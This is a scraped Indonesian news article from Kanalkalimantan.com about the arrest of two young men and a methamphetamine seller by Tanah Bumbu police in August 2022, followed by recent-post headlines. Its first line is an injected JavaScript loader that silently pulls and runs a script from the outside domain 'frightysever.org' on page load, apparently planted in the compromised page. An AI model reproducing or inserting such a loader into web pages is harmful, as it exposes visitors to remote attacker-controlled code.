(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

Satu Pelajar Ditangkap Satresnarkoba Polres Tanbu Bersama Dua Orang


KANALKALIMANTAN.COM, BATULICIN – Seorang pelajar berinsial AR (18) di Kecamatan Kusan Hilir, Kabupaten Tanah Bumbu dan temannya AM (19) diringkus aparat Satresnarkoba Polres Tanbu, Kalimantan Selatan.

Keduanya ditangkap polisi usai membeli sabu. Dari tangan keduanya, petugas berhasil menyita barang bukti satu paket narkotika jenis sabu seberat 0,32 gram -berat bersih 0,12 gram-.

Tak hanya menangkap dua orang anak muda tersebut, petugas Satresnarkoba Polres Tanah Bumbu juga menciduk penjual sabu berinsial MZ (21).

Ketiganya kemudian digelandang ke Mapolres Tanah Bumbu untuk menjalani proses penyidikan.

 

 

Baca juga: Satu Jemaah Haji Kalsel Belum Bisa Pulang, Masih Dirawat di RS King Abdullah Arab Saudi

“Penangkapan para tersangka berawal dari informasi masyarakat bahwa akan terjadi transaksi narkotika jenis sabu. Kemudian dilakukan penyelidikan oleh tim Opsnal Satresnarkoba Polres Tanah Bumbu pada Selasa 2 Agustus 2022 sekitar pukul 00.30 Wita mengamankan tiga orang berinisial AF, AR, dan MZ,” kata Kapolres Tanah Bumbu AKBP Tri Hambodo SIK melalui Kasi Humas I Made Rasa, Jumat (5/8/2022).

AKP Made mengatakan, yang tertangkap lebih dulu adalah dua orang tersangka AF dan AR ketika sedang jalan kaki berdua di Jalan Arif Rahman Hakim, Desa Batuah, Kecamatan Kusan Hilir, pada Selasa (2/8/2022) tengah malam.

Menurut Made, keduanya sadar akan ditangkap polisi sehingga salah seorang tersangka berinsial AF melempar barang bukti sabu. Namun, upaya ini gagal karena petugas Satresnarkoba berhasil menemukan barang bukti sabu yang dibuang.

“Ditemukan 1 paket sabu di tanah yang dilempar oleh AF. Dari keterangan, mereka berdua mengakui sebagai pemilik sabu,” ungkapnya.

Petugas Satresnarkoba Polres Tanbu kemudian mendalami keterangan dari AF dan AR usai menemukan barang bukti.

Keduanya mengaku membeli barang haram tersebut dari tersangka MZ. Alhasil, polisi juga menciduk pemuda tanpa pekerjaan ini. “MZ diamankan dari tempat berbeda,” kata AKP I Made.

Baca juga: Ketua DPRD Banjarmasin Harry Wijaya Protes Fotonya Dijadikan Poster Demo

Selain barang bukti sabu, polisi juga menyita barang bukti lainnya berupa satu unit HP merek Vivo warna hitam serta satu unit HP Samsung warna silver. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Risa

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

13 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

17 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

19 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

20 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

20 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

22 jam ago

This website uses cookies.